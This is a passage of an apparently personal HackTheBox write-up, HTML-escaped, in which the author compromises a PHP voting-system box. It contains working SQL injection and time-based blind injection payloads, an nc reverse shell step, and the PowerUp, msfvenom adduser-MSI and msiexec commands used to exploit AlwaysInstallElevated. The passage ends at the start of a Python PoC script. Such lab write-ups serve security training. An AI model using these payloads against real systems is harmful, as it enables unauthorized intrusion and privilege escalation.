above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to exist.&lt;/p&gt;&#10;&lt;p&gt;This web app wasn&amp;rsquo;t built with any particular framework either, so all I could do was look for vulnerabilities in one of its components.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a voting system, and I was fairly sure the user login would have weak credentials. It expected a numeric ID, and I didn&amp;rsquo;t know how those IDs were assigned. Still, a voting system would surely have plenty of users, so weak passwords were bound to exist. Since I didn&amp;rsquo;t know where the IDs started, I began with the simplest combinations: IDs from 1 to 10000, paired with &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;Password&lt;/code&gt;, &lt;code&gt;123456&lt;/code&gt;, and &lt;code&gt;admin123&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I had the absolute xampp path now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was an exploit, but it required an account and password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The box was released on May 1, 2021, while this exploit came out on January 19, so it should work. The exploit didn&amp;rsquo;t give me much more information, though. If I could get into the admin panel, I could probably find my own route to RCE anyway.&lt;/p&gt;&#10;&lt;p&gt;The exploit included the target&amp;rsquo;s source code, and sure enough, it matched. I downloaded the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting&amp;#43;System&amp;#43;using&amp;#43;PHP%2FMySQLi&amp;#43;with&amp;#43;Source&amp;#43;Code" target="_blank" rel="noopener"&#10; &gt;https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting+System+using+PHP%2FMySQLi+with+Source+Code&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;What I couldn&amp;rsquo;t believe was that the box might expect me to find a vulnerability myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This SQL injection was painfully obvious. I couldn&amp;rsquo;t find a related exploit online, but the source code made everything click immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unsurprisingly, the admin login worked the same way.&lt;/p&gt;&#10;&lt;p&gt;The password was the problem. I couldn&amp;rsquo;t bypass the login outright, so I could only use the injection to extract information. I first verified that the vulnerability really existed on the target and matched the source instead of having been patched.&lt;/p&gt;&#10;&lt;p&gt;Entering &lt;code&gt;1&lt;/code&gt; as the username returned a message saying the user couldn&amp;rsquo;t be found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I entered &lt;code&gt;1' or 1=1#&lt;/code&gt;, it responded with this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Wrong password. As I saw it, there were three possible paths.&lt;/p&gt;&#10;&lt;p&gt;The first was blind SQL injection. Blind injection is notoriously time-consuming, and all the responses were hardcoded, so blind injection was the only option here. The downside was that it would be extremely slow. The upside was that I already knew the admin panel had an RCE vulnerability, so I could extract the account and use it to get RCE there.&lt;/p&gt;&#10;&lt;p&gt;The second path, and the one I wanted to take, was to query the database privileges directly. If the database user was root, or otherwise had permission to create users or administrative privileges, I could simply create another user that allowed remote access.&lt;/p&gt;&#10;&lt;p&gt;The third was to write a shell directly. I already had the absolute path, so I only needed to check whether I had write permission.&lt;/p&gt;&#10;&lt;p&gt;The second option overlapped with both the first and third, so I decided to see whether I could create a user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;localtion&lt;/code&gt; header would redirect immediately, but when I accessed this endpoint, it ran the entire query without breaking the time-based injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t take long to find another problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error whenever the return value was empty. That wasn&amp;rsquo;t a big deal in itself, because the query above had already run. At this point I had to take the first path. Extracting the username and password through blind injection was much easier than the other approaches now, and I already had an RCE route in the admin panel. First, though, I needed to confirm that the account was correct.&lt;/p&gt;&#10;&lt;p&gt;Its validation logic was interesting too. At this endpoint, if my password was wrong, it stored my session in the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then, when I took that session and accessed &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a visible response. I could inject the username this way, but not the password. If I knew any valid password, I could log in successfully. For example, I tried a password on the voter login page and got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The PoC is at the end.&lt;/p&gt;&#10;&lt;p&gt;Database name:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first username was five characters long.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no second username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no need to brute-force the account name anymore; I had already confirmed it was &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;I still added this to the script, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source already showed the database structure, but I wanted to verify it.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=&amp;ldquo;admin&amp;rdquo;))=60,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sixty characters. That was also visible in the source; I was just double-checking it.&lt;/p&gt;&#10;&lt;p&gt;Extracting the password took far too long, so I&amp;rsquo;ll skip over a stretch of waiting here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The script crashed when it reached this point. During the long wait, I tried to find out whether this step was even correct, but in practice nobody else had taken the same route I had.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even if I extracted the password, it was still a hash that I would have to crack, and the plaintext wasn&amp;rsquo;t in &lt;code&gt;rockyou&lt;/code&gt;. Constant brute-forcing also made my connection to the box painfully slow. I&amp;rsquo;ll leave the PoC until the end.&lt;/p&gt;&#10;&lt;p&gt;I only learned about the other way to get a shell after looking at a write-up, and it was much easier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Checking the certificate is a fairly standard idea, but I hadn&amp;rsquo;t done it at the time. That was a major mistake. There was a domain name here, so I added it to &lt;code&gt;hosts&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a demo here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use SSRF to request local services and see whether any of the services identified above were listening there.&lt;/p&gt;&#10;&lt;p&gt;I found the password at &lt;code&gt;http:127.0.0.1:5000&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once inside the admin panel, I followed the earlier RCE guide and went straight to the &lt;code&gt;/voters_add.php&lt;/code&gt; endpoint.&lt;/p&gt;&#10;&lt;p&gt;All I had to do was create a new entry and upload the file. The filename stayed unchanged.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used &lt;code&gt;nc&lt;/code&gt; to call the shell back to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;systeminfo whoami/priv&lt;/code&gt; turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;winPEASany&lt;/code&gt; found a few interesting things. At minimum, I needed to pay attention to everything highlighted in red.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source file seemed to be gone.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No use. I couldn&amp;rsquo;t find it either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authenticated users could create directories and write files in the root of the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The same was true for &lt;code&gt;c:\administration&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://developer.aliyun.com/article/1227455" target="_blank" rel="noopener"&#10; &gt;https://developer.aliyun.com/article/1227455&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The vulnerability verification section of this blog post is a useful reference.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass &amp;#34;import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts would be useful later. First, I generated a malicious MSI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I transferred it to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msiexec.exe /quiet /qn /i add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.239 -u msi -p Pass@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation part was pretty straightforward. Most of what I found consisted of blog posts introducing the vulnerability, and reading a few of them was enough to understand how it worked. During the shell stage, I forgot one crucial step: the HTTPS service had a certificate, and that certificate could contain a domain name. That domain might be the way in. Still, the SQL injection route was valid too. I got stuck on it for a long time. When extracting the 60-character password proved unbearably slow, I checked the next step in a write-up and realized I had gone completely the wrong way. Even if I got the password, it was still a hash. I searched &lt;code&gt;rockyou&lt;/code&gt; for a match, but the password wasn&amp;rsquo;t there. In other words, even if I extracted all 60 characters, brute-forcing the plaintext afterward still wouldn&amp;rsquo;t work. The database user for the SQL injection was most likely &lt;code&gt;root&lt;/code&gt;; I checked only whether the first letter was &lt;code&gt;r&lt;/code&gt; and then left it alone. I tried adding another user to the database, but that didn&amp;rsquo;t work either. The SQL injection held me up for ages. Every payload I used here was based on payloads other people had posted; the ones I built myself simply didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For example, with the one above, I copied the payload and found that it caused a delay. I then modified it into the version used in my PoC. None of my own attempts worked. Building the PoC after confirming the delay also took a lot of time, and running it took even longer. Brute-forcing with the Community Edition of &lt;code&gt;burpsuite&lt;/code&gt; was painfully slow because it had no multithreading. I also tried appending all sorts of other commands, but none worked; the response would just return an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the source, it executed the SQL statement before throwing the error. In theory, the SQL statement should have run.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the result was that it never executed successfully.&lt;/p&gt;&#10;&lt;p&gt;I used frp to tunnel port 3306 on the target to local port 6000.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had a blank password. I connected to see whether anything I had tried earlier had actually worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It hadn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither had this.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I still need to work through more boxes and sharpen up my approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cookies = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;PHPSESSID&amp;#39;: &amp;#39;c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;li = list(&amp;#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;amp;*()_+-=[]{}|;:,.&amp;lt;&amp;gt;?/~`&amp;#34;\&amp;#39;\\&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 